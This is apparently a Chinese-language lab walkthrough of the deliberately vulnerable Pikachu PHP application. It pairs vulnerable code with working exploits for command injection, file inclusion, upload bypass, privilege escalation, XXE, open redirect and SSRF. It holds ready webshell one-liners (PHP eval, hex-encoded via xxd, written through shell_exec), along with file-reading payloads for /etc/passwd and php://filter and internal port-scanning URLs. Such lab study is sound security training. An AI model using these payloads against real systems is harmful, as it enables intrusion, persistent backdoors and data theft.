命令A && 命令B			# 只有前面的命令执行成功后才会执行后面的命令
命令A & 命令B # 无论前面的命令执行成功或失败,总会执行后面的命令
命令A || 命令B # 当前面的命令执行失败才会执行后面的命令
命令A | 命令B # 前面的命令执行的输出作为后面命令执行的输入
命令A ; 命令B # 两条命令互不干扰

# 写Shell
- Windows
# 使用 ^ 对 < 进行转义
echo ^<?php @eval($_POST[x])?^> > /xxx/xxx/x.php

- Linux
# 将一句话马转换为十六进制
原: <?php @eval($_POST[x]);?>
现: echo 3c3f70687020406576616c28245f504f53545b785d293f3e|xxd -r -ps > /xxx/xxx/x.php

exec “ping”

防御方式

该页面对命令注入无任何防护

1
2
3
4
5
6
7
8
9
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}

漏洞利用

该页面是通过shell_exec()函数来执行ping命令,但在传递参数IP时未对其进行处理导致了恶意传参

1
127.0.0.1 && whoami		# 其他Payload参考上方

image-20211124090224695

exec “eval”

防御方式

该页面对命令注入无任何防护

1
2
3
4
5
6
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";

}
}

漏洞利用

通过POST传参到eval()函数中执行,可以直接使用蚁剑之类的工具去连接该页面,密码txt,需要传递submit值

image-20211124092322797

或者直接使用shell_exec()system()等函数执行系统命令写入shell

1
2
3
4
# 密码 x

shell_exec("echo 3c3f70687020406576616c28245f504f53545b785d293f3e|xxd -r -ps > /www/wwwroot/Pikachu/shell.php");
system("echo 3c3f70687020406576616c28245f504f53545b785d293f3e|xxd -r -ps > /www/wwwroot/Pikachu/shell2.php");

image-20211124091639838

File Inclusion

local (本地包含)

防御方式

该页面对文件包含无任何防护

1
2
3
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename"; //变量传进来直接包含,没做任何的安全限制

漏洞利用

将一句话木马写入文本中并将后缀改为可以被上传的文件类型(如png),在文件上传位置中上传将该文件上传到服务器中,再使用文件包含漏洞去包含该文件

1
http://192.168.132.200:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/a.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20211124093704604

remote (远程包含)

防御方式

该页面对文件包含无任何防护

1
2
3
4
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename"; //变量传进来直接包含,没做任何的安全限制
}

漏洞利用

将下方php代码上传到自己的服务器中,再利用远程包含执行该文件写入shell到本地

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[c]);?>');?>
1
http://192.168.132.200:8000/vul/fileinclude/fi_remote.php?filename=http://192.168.132.200/1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

shell写入的路径一般与文件包含页面同级 vul/fileinclude/

image-20211124100651979

Filedownload

Filedownload

防御方式

漏洞利用

点击球员名字后可以看到下载地址如下所示,filename传递的参数为下载的文件

1
http://192.168.132.200:8000/vul/unsafedownload/execdownload.php?filename=kb.png

构造如下Payload下载任意文件

1
2
http://192.168.132.200:8000/vul/unsafedownload/execdownload.php?filename=文件相对路径
http://192.168.132.200:8000/vul/unsafedownload/execdownload.php?filename=../down_nba.php

image-20211124101702859

Fileuplaod

Client check

防御方式

在客户端对上传的文件进行检查,仅允许上传图片文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<input class="uploadfile" type="file" name="uploadfile" onchange="checkFileExt(this.value)">

<script>
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>

漏洞利用

方法1: 将浏览文件按钮中的onchange属性删除,再上传php文件

1
<input class="uploadfile" type="file" name="uploadfile">

image-20211124104545948

方法2: 将浏览器的JS禁用掉再上传php文件

1
2
3
Chrome: 按F12 > 点击右上角的设置图标 > 点击左侧的Preferences > 再找到右边Debugber的 Disable JavaScript
Firefox: 按F12 > 点击右上角的设置图标 > 在高级设置下找到禁用JavaScript
IE: 点击右上角的设置 > 工具 > Internet选项 > 安全 > 自定义级别 > 脚本 > 禁用活动脚本 | 禁用java小程序

方法3: 将php文件后缀改为可上传的文件类型,再使用Burpsuite抓包将文件后缀改回php

image-20211124104911159

MIME type

防御方式

检查MIME类型,限制只允许类型为image/jpg | image/jpeg | image/png的文件可以被上传

1
2
3
4
5
6
7
8
9
10
11
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}

漏洞利用

使用Burpsuite抓包,修改Content-Type字段的值为image/jpg | image/jpeg | image/png 其中一个,或者将php文件改为png、jpg、jpeg后上传再将文件名改回php

image-20211124105437452

Getimagesize

防御方式

检查文件后缀,检查MIME类型,检查文件内容

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";

}
}

漏洞利用

在文件开头添加GIF89a绕过文件内容检查,将文件名修改为图片格式后再上传,再利用文件包含漏洞解析该图片

1
2
GIF89a
<?php phpinfo();?>
1
http://192.168.132.200:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/11/24/381979619df025be0ec149482760.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20211124160057378

1
2
GIF89a
<?php eval($_POST['x']);?>
1
http://192.168.132.200:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2021/11/24/110723619df18372aba235980662.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20211124160322783

Over Permission

漏洞介绍

Over Permission (越权漏洞),如过使用用户A的权限去操作用户B的权限,A的权限小于B,如过执行成功则称之为越权操作。越权漏洞形成是因为后台使用了不合理的权限校验导致的。一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏 。

水平越权

漏洞介绍

用户A与用户B属于同一级别用户,当用户A越权操作了用户B的个人信息时,就称之为水平越权

防御方式

该页面对越权漏洞无任何防护

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];

漏洞利用

根据提示得到了如下用户 (lucy | 123456lili | 123456kobe | 123456),登录lucy查看用户信息时请求信息如下,username字段指定查询的用户名为lucy

1
GET /vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1

当将该字段的值修改为kobe时,返回的数据为用户kobe的个人信息

image-20211124161946226

垂直越权

漏洞介绍

用户B权限大于用户A,当用户A越权操作了用户B的权限时,就称之为垂直越权

防御方式

该页面对越权漏洞无任何防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

}
}
}

漏洞利用

根据提示得到了如下用户 (超级用户: admin | 123456)(普通用户: pikachu | 000000),用户admin可以对用户进行查看、添加、删除操作,用户pikachu只能查看用户信息

通过抓包查看到普通用户pikachu查看信息的请求如下

1
GET /vul/overpermission/op2/op2_user.php HTTP/1.1

超级用户admin请求信息如下

1
2
3
4
5
6
# 删除用户
GET /vul/overpermission/op2/op2_admin.php?id=132

# 添加用户
POST /vul/overpermission/op2/op2_admin_edit.php
username=&password=&sex=&phonenum=&email=&address=&submit=%E5%88%9B%E5%BB%BA

验证越权删除用户

登录普通用户pikachu后请求超级用户删除用户的页面(未授权访问),再查看页面后发现用户未被删除

1
/vul/overpermission/op2/op2_admin.php?id=132

image-20211124164209022

验证越权添加用户

登录普通用户pikachu后访问超级用户添加用户的页面(未授权访问),输入完用户信息后点击创建发现跳转到了用户登录页面,越权失败

1
/vul/overpermission/op2/op2_admin_edit.php

image-20211124164612286

再次登录用户pikachu可以看到刚才创建的用户,越权成功

image-20211124164847940

目录历遍 ../../

目录历遍

防御方式

1
2
3
4
f(isset($_GET['title'])){
$filename=$_GET['title'];
//这里直接把传进来的内容进行了require(),造成问题
require "soup/$filename";

漏洞利用

该处存在文件包含漏洞,利用文件上传漏洞上传文件后到该处进行包含(此处的目录里面没搞懂)

1
http://192.168.132.200:8000//vul/dir/dir_list.php?title=../../unsafeupload/uploads/info.png

image-20211124192311154

敏感信息泄露

漏洞介绍

由于后台人员的疏忽或者设计不当导致不应该被前端用户看到的数据被人轻易的访问到,如访问url下的目录可以直接列出目录下的文件列表,输入错误url参数后报错信息中包含操作系统、中间件、开发语言等其他信息

lcanseeyourABC

用户信息泄露

在该页面的前端代码中可以看到测试的账号密码

image-20211125093927089

未授权访问

无需登录直接访问/vul/infoleak/abc.php可以看到用户登录后的内容

image-20211125094354102

PHP反序列化

漏洞介绍

序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象。如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行,getshell等一系列不可控的后果。

PHP反序列化漏洞

暂无

XXE

漏洞介绍

XXE (xml外部实体注入漏洞),攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题,也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

XML基础

介绍

XML时可拓标记语言,设计用来进行数据的传输和存储,结构是树形结构(类似与HTML)。注意XML严格区分大小写的!

结构

1
2
# XML声明部分(版本号与编码)
<?xml version="1.0" encoding=="ISO-8859-1"?>
1
2
3
4
# 文档类型定义(DTD)
<!DOCTYPE note [
<!ENTITY 实体名称 SYSTEM "URI/URL">
]>
1
2
3
4
5
6
7
# 文档元素
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

文档类型定义(DTD)部分用来为XML文档定义语法约束,可以是内部声明也可以用来引用外部DTD。XML中对数据的引用称为实体,实体中有一类叫外部实体,用于引入外部资源,有SYSTEM(本地)与PUBLIC(公用)两个关键词。

外部实体的引用可以借助如下协议(不止):

1
2
3
file:///绝对路径
http(s)://URL
php://filter/read=convert.base64-encode/resource=绝对或相对路径

XXE漏洞

在学习XXE漏洞之前先了解一下XML的基本结构

防御方式

该页面对XXE漏洞无任何防护

1
2
3
4
5
6
7
8
9
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}

漏洞利用

测试XXE漏洞,下方定义了一个实体test,内容为Hello XXE。文档元素中的&test;用来调用上方定义的实体

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY test "Hello XXE">
]>
<name>&test;</name>

image-20211129194810430

引用外部实体来读取文件内容

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY test SYSTEM "file:///www/wwwroot/Pikachu/flag">
]>
<name>&test;</name>

image-20211129195008725

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../../flag">
]>
<name>&test;</name>

image-20211129195158337

URL重定向

漏洞介绍

不安全的URL跳转问题可能发生在一切执行了URL跳转的地方,如果后端采用了前端传进来的参数作为跳转的目的地,又没有做判断就可能发生“跳错对象问题”。URL跳转比较直接的危害为钓鱼攻击,当攻击者利用漏洞方的域名做掩盖(如某些官方网站),使用户看到该域名为官方域名后产生信任,最终跳转到钓鱼网站

不安全的URL跳转

后端代码

1
2
3
4
5
6
7
8
if(isset($_GET['url']) && $_GET['url'] != null){
$url = $_GET['url'];
if($url == 'i'){
$html.="<p>好的,希望你能坚持做你自己!</p>";
}else {
header("location:{$url}"); // 这里发生跳转
}
}

漏洞利用

通过GET传参url,值为需要跳转的网站,当访问构造后的URL会自动跳转到指定的网站

1
2
3
4
# /vul/urlredirect/urlredirect.php?url=恶意网址

# 示例
http://192.168.132.200:8000/vul/urlredirect/urlredirect.php?url=https://www.bigpp.cn

SSRF

漏洞介绍

SSRF (服务器端请求伪造),该漏洞的形成原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但有没有对目标地址进行严格的过滤与限制,导致攻击者可以传入任意地址让后端服务器对其发起请求,并返回对该目标地址请求的数据

CURL

防御方式

该页面对SSRF无任何防护

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}

漏洞利用

如访问时出现404则需要修改URL,默认为127.0.0.1,需要改成靶机的IP地址

1
http://192.168.132.200:8000/vul/ssrf/ssrf_curl.php?url=http://192.168.132.200:8000/vul/ssrf/ssrf_info/info1.php

image-20211129164153235

勘探内网主机端口

点击超链接后发现传递了一个链接给后台,可以将传递的值改成内网其他主机的IP地址加上端口,用来勘探内网其他主机是否开启了某些端口,当端口不存在时则返回异常(502错误)

1
2
3
# 勘探192.168.132.222的22端口

http://192.168.132.200:8000/vul/ssrf/ssrf_curl.php?url=https://192.168.132.222:22

image-20211129171209673

1
2
3
# 勘探192.168.132.222的445端口

http://192.168.132.200:8000/vul/ssrf/ssrf_curl.php?url=https://192.168.132.222:445

image-20211129171338436

读取文件

1
2
3
4
5
# 读取网站的某个文件
http://192.168.132.200:8000/vul/ssrf/ssrf_curl.php?url=http://192.168.132.200:8000/flag

# 使用绝对路径(权限要够大)
http://192.168.132.200:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

image-20211129172146296

file_get_content

防御方式

该页面对SSRF无任何防护

1
2
3
4
5
if(isset($_GET['file']) && $_GET['file'] !=null){
$filename = $_GET['file'];
$str = file_get_contents($filename);
echo $str;
}

漏洞利用

漏洞利用与上面的方法一样

勘探主机

1
http://192.168.132.200:8000/vul/ssrf/ssrf_fgc.php?file=http://192.168.132.222:445

读取文件

1
http://192.168.132.200:8000/vul/ssrf/ssrf_fgc.php?file=file:///www/wwwroot/Pikachu/flag

image-20211129172959826

1
http://192.168.132.200:8000/vul/ssrf/ssrf_fgc.php?file=http://192.168.132.200:8000/flag

image-20211129173049324

1
2
3
# 将读取的文件转为Base64

http://192.168.132.200:8000/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../../index.php

image-20211129173145058